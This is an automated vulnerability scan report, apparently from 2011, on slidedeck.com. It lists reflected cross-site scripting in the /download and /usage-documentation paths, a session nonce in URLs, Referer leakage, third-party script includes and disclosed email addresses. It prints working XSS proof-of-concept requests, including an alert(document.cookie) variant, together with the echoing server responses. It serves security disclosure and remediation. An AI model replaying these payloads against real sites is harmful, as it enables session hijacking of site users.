XSS, Cross Site Scriping, slidedeck.com, CWE-79, CAPEC-86

XSS in slidedeck.com | Vulnerability Crawler Report

Report generated by Unforgivable Vulnerabilities, DORK Search, Exploit Research at Sun Jan 09 07:15:21 CST 2011.

DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

1.1. http://www.slidedeck.com/download [REST URL parameter 1]

1.2. http://www.slidedeck.com/usage-documentation [REST URL parameter 1]

2. Session token in URL

3. Cross-domain Referer leakage

4. Cross-domain script include

5. Email addresses disclosed

6. Content type incorrectly stated


1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.slidedeck.com/download [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.slidedeck.com
Path:   /download

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 71eb8--><script>alert(1)</script>873957fd8a7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /download71eb8--><script>alert(1)</script>873957fd8a7 HTTP/1.1
Host: www.slidedeck.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 09 Jan 2011 03:10:31 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Sun, 09 Jan 2011 03:10:31 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.slidedeck.com/xmlrpc.php
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28374

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>
   <meta charset="
...[SNIP]...
<!-- This Quick Cache file was built for ( www.slidedeck.com/download71eb8--><script>alert(1)</script>873957fd8a7 ) in 0.65286 seconds, on Jan 9th, 2011 at 3:10 am UTC. -->
...[SNIP]...
1.2. http://www.slidedeck.com/usage-documentation [REST URL parameter 1]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.slidedeck.com
Path:   /usage-documentation

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 5bb51--><script>alert(1)</script>578321f4700 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /usage-documentation5bb51--><script>alert(1)</script>578321f4700 HTTP/1.1
Host: www.slidedeck.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 09 Jan 2011 03:09:56 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Sun, 09 Jan 2011 03:09:58 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.slidedeck.com/xmlrpc.php
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>
   <meta charset="
...[SNIP]...
<!-- This Quick Cache file was built for ( www.slidedeck.com/usage-documentation5bb51--><script>alert(1)</script>578321f4700 ) in 1.84841 seconds, on Jan 9th, 2011 at 3:09 am UTC. -->
...[SNIP]...
2. Session token in URL  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.slidedeck.com
Path:   /

Issue detail

The response contains the following links that appear to contain session tokens:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET / HTTP/1.1
Host: www.slidedeck.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 03:08:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Expires: Sun, 02 Jan 2011 03:07:02 GMT
Last-Modified: Sun, 09 Jan 2011 03:08:03 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.slidedeck.com/xmlrpc.php
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46540

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>
   <meta charset="
...[SNIP]...
<p><a href="http://www.slidedeck.com/wp-admin/admin-ajax.php?action=usdd_show&amp;url=http%3A%2F%2Frss1.smashingmagazine.com%2Ffeed%2F&amp;_wpnonce=695cf3a777" class="button ultimate-slidedeck-demo" onclick="return false;">Try The Demo</a>
...[SNIP]...
</h5>
<a href="http://www.slidedeck.com/wp-admin/admin-ajax.php?action=usdd_show&amp;url=http%3A%2F%2Frss1.smashingmagazine.com%2Ffeed%2F&amp;skin=light&amp;navigation=simple-dots&amp;_wpnonce=695cf3a777" class="button smashing-magazine">Smashing Magazine</a>
<a href="http://www.slidedeck.com/wp-admin/admin-ajax.php?action=usdd_show&amp;url=http%3A%2F%2Fwww.engadget.com%2Frss.xml&amp;skin=light&amp;navigation=simple-dots&amp;_wpnonce=695cf3a777" class="button engadget">Engadget</a>
<a href="http://www.slidedeck.com/wp-admin/admin-ajax.php?action=usdd_show&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2FTechCrunch&amp;skin=light&amp;navigation=simple-dots&amp;_wpnonce=695cf3a777" class="button techcrunch">TechCrunch</a>
...[SNIP]...
</h5>
<a href="http://www.slidedeck.com/wp-admin/admin-ajax.php?action=usdd_show&amp;url=http%3A%2F%2Fwww.dtelepathy.com%2Fblog%2Ffeed&amp;skin=light&amp;navigation=simple-dots&amp;_wpnonce=695cf3a777" class="button skin light">
<img src="http://www.slidedeck.com/wp-content/plugins/ultimate-slidedeck-demo/images/thumb_light.png" alt="" />
...[SNIP]...
</a>
<a href="http://www.slidedeck.com/wp-admin/admin-ajax.php?action=usdd_show&amp;url=http%3A%2F%2Fwww.dtelepathy.com%2Fblog%2Ffeed&amp;skin=dark&amp;navigation=simple-dots&amp;_wpnonce=695cf3a777" class="button skin dark">
<img src="http://www.slidedeck.com/wp-content/plugins/ultimate-slidedeck-demo/images/thumb_dark.png" alt="" />
...[SNIP]...
</h5>
<a href="http://www.slidedeck.com/wp-admin/admin-ajax.php?action=usdd_show&amp;url=http%3A%2F%2Fwww.dtelepathy.com%2Fblog%2Ffeed&amp;skin=light&amp;navigation=simple-dots&amp;_wpnonce=695cf3a777" class="button navigation simple-dots">
<img src="http://www.slidedeck.com/wp-content/plugins/ultimate-slidedeck-demo/images/thumb_simple-dots.png" alt="" />
...[SNIP]...
</a>
<a href="http://www.slidedeck.com/wp-admin/admin-ajax.php?action=usdd_show&amp;url=http%3A%2F%2Fwww.dtelepathy.com%2Fblog%2Ffeed&amp;skin=light&amp;navigation=dates&amp;_wpnonce=695cf3a777" class="button navigation dates">
<img src="http://www.slidedeck.com/wp-content/plugins/ultimate-slidedeck-demo/images/thumb_dates.png" alt="" />
...[SNIP]...
</a>
<a href="http://www.slidedeck.com/wp-admin/admin-ajax.php?action=usdd_show&amp;url=http%3A%2F%2Fwww.dtelepathy.com%2Fblog%2Ffeed&amp;skin=light&amp;navigation=post-titles&amp;_wpnonce=695cf3a777" class="button navigation post-titles">
<img src="http://www.slidedeck.com/wp-content/plugins/ultimate-slidedeck-demo/images/thumb_post-titles.png" alt="" />
...[SNIP]...
3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.slidedeck.com
Path:   /

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /?ref= HTTP/1.1
Host: www.slidedeck.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 03:08:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Expires: Sun, 02 Jan 2011 03:08:07 GMT
Last-Modified: Sun, 09 Jan 2011 03:08:07 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.slidedeck.com/xmlrpc.php
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45984

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>
   <meta charset="
...[SNIP]...
</title>
   
<link rel="profile" href="http://gmpg.org/xfn/11" />
   
<link rel="stylesheet" type="text/css" media="all" href="http://www.slidedeck.com/wp-content/themes/slidedeck/style.css" />
...[SNIP]...
<link rel='stylesheet' id='avhec-widget-css' href='http://www.slidedeck.com/wp-content/plugins/extended-categories-widget/2.8/css/avh-ec.widget.css?ver=3.2.2' type='text/css' media='all' />
<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js?ver=1.4.4'></script>
...[SNIP]...
<![endif]-->

<script type="text/javascript" src="//www.hellobar.com/hellobar.js"></script>
...[SNIP]...
<noscript>
The Hello Bar is a simple <a href="http://www.hellobar.com">web toolbar</a>
...[SNIP]...
<div id="tweetMeme" class="floatR noDownload">
                                       <a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.slidedeck.com" data-text="Check out SlideDeck - the perfect product for designing product tours & web presentations #jquery #wordpress #slider" data-count="horizontal" data-via="slidedeck" data-related="thehellobar:Our free toolbar. Grab everyone's attention!">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</p>
   <a class="rss" href="http://feeds.feedburner.com/Slidedeck" target="_blank"><img src="http://www.slidedeck.com/wp-content/themes/slidedeck/images/icon_rss.png" alt="SlideDeck Blog RSS Feed" />
...[SNIP]...
<div class="post"><a href="http://feedproxy.google.com/~r/Slidedeck/~3/1cMMXgUgk7A/" rel="external nofollow">New Release: jQuery Library Bug Fixes &amp; New WordPress Skin</a>
...[SNIP]...
<div class="post"><a href="http://feedproxy.google.com/~r/Slidedeck/~3/XBCXjyLwCdw/" rel="external nofollow">Customizing and Debugging SlideDeck with FireBug Part 1</a>
...[SNIP]...
</div>

<a href="http://feeds.feedburner.com/Slidedeck" rel="external nofollow" id="btn_show-more" class="cufon_futura">Show More</a>
...[SNIP]...
<div id="twitter-feed">
           <a href="http://twitter.com/slidedeck" target="_blank"><h3 class="cufon_futura">
...[SNIP]...
<div class="post">New Release: jQuery Library Bug Fixes & New WordPress Skin <a href="http://goo.gl/fb/G1nA4" rel="external">http://goo.gl/fb/G1nA4</a>
...[SNIP]...
<div class="post">Customizing and Debugging SlideDeck with FireBug Part 1 <a href="http://goo.gl/fb/rDM8s" rel="external">http://goo.gl/fb/rDM8s</a>
...[SNIP]...
</div>

<a href="http://twitter.com/slidedeck" rel="external nofollow" class="btn_show-more cufon_futura">Go To Twitter</a>
...[SNIP]...
<p><a rel="nofollow" href="http://www.dtelepathy.com/blog/telepathy/slidedeck-a-better-way-to-provide-content-on-the-web/" target="_blank"><em>
...[SNIP]...
<li><a class="twitter" href="http://twitter.com/slidedeck" target="_blank">Twitter</a>
...[SNIP]...
<li><a class="facebook" href="http://www.facebook.com/slidedeck" target="_blank">Facebook</a>
...[SNIP]...
<li><a class="rss" href="http://feeds.feedburner.com/Slidedeck" target="_blank">RSS</a>
...[SNIP]...
<p>SlideDeck &reg; is a registered trademark of <a href="http://www.dtelepathy.com" rel="external nofollow">digital-telepathy</a>
...[SNIP]...
<li id="menu-item-17" class="menu-item menu-item-type-custom menu-item-17"><a rel="external nofollow" href="http://www.mediatemple.net">Media Temple</a>
...[SNIP]...
4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.slidedeck.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET / HTTP/1.1
Host: www.slidedeck.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 03:08:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Expires: Sun, 02 Jan 2011 03:07:02 GMT
Last-Modified: Sun, 09 Jan 2011 03:08:03 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.slidedeck.com/xmlrpc.php
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46540

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>
   <meta charset="
...[SNIP]...
<link rel='stylesheet' id='avhec-widget-css' href='http://www.slidedeck.com/wp-content/plugins/extended-categories-widget/2.8/css/avh-ec.widget.css?ver=3.2.2' type='text/css' media='all' />
<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js?ver=1.4.4'></script>
...[SNIP]...
<![endif]-->

<script type="text/javascript" src="//www.hellobar.com/hellobar.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
5. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.slidedeck.com
Path:   /

Issue detail

The following email addresses were disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /?ws_plugin__s2member_js_w_globals=1&qcABC=1&ver=1.01292363477 HTTP/1.1
Host: www.slidedeck.com
Proxy-Connection: keep-alive
Referer: http://www.slidedeck.com/download71eb8--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E873957fd8a7
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 03:30:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Expires: Sun, 16 Jan 2011 03:30:08 GMT
Last-Modified: Sun, 09 Jan 2011 03:30:08 GMT
Cache-Control: max-age=604800
Pragma: public
Vary: Accept-Encoding
Connection: close
Content-Type: text/javascript; charset=utf-8
Content-Length: 31679

var S2MEMBER_VERSION = '3.3.2',S2MEMBER_CURRENT_USER_IS_LOGGED_IN = false,S2MEMBER_CURRENT_USER_IS_LOGGED_IN_AS_MEMBER = false,S2MEMBER_CURRENT_USER_ACCESS_LEVEL = -1,S2MEMBER_CURRENT_USER_ACCESS_LABE
...[SNIP]...
ILE_DOWNLOADS_ALLOWED_DAYS = 0,S2MEMBER_LEVEL4_FILE_DOWNLOADS_ALLOWED_DAYS = 0,S2MEMBER_FILE_DOWNLOAD_INLINE_EXTENSIONS = '',S2MEMBER_REG_EMAIL_FROM_NAME = 'SlideDeck',S2MEMBER_REG_EMAIL_FROM_EMAIL = 'orders@slidedeck.com',S2MEMBER_PAYPAL_NOTIFY_URL = 'http://www.slidedeck.com/?s2member_paypal_notify=1',S2MEMBER_PAYPAL_RETURN_URL = 'http://www.slidedeck.com/?s2member_paypal_return=1',S2MEMBER_PAYPAL_ENDPOINT = 'www.paypal.com',S2MEMBER_PAYPAL_BUSINESS = 'paypaladmin@slidedeck.com',S2MEMBER_CURRENT_USER_VALUE_FOR_PP_ON0 = '',S2MEMBER_CURRENT_USER_VALUE_FOR_PP_OS0 = '';
jQuery(document).ready(function(a){ws_plugin__s2member_uniqueFilesDownloaded=[];if(S2MEMBER_CURRENT_USER_IS_LO
...[SNIP]...
6. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.slidedeck.com
Path:   /wp-content/plugins/slidedeck/lib/slidedeck.jquery.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /wp-content/plugins/slidedeck/lib/slidedeck.jquery.js?ver=1.3.6 HTTP/1.1
Host: www.slidedeck.com
Proxy-Connection: keep-alive
Referer: http://www.slidedeck.com/download71eb8--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E873957fd8a7
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 03:30:07 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Tue, 04 Jan 2011 21:37:01 GMT
ETag: "eb1898-30bd-119cf940"
Accept-Ranges: bytes
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript
Content-Length: 12477

/**
* SlideDeck 1.2.1 Pro - 2011-01-03
* Copyright (c) 2011 digital-telepathy (http://www.dtelepathy.com)
*
* BY USING THIS SOFTWARE, YOU AGREE TO THE TERMS OF THE SLIDEDECK
* LICENSE AGRE
...[SNIP]...
Report generated by Unforgivable Vulnerabilities, DORK Search, Exploit Research at Sun Jan 09 07:15:21 CST 2011.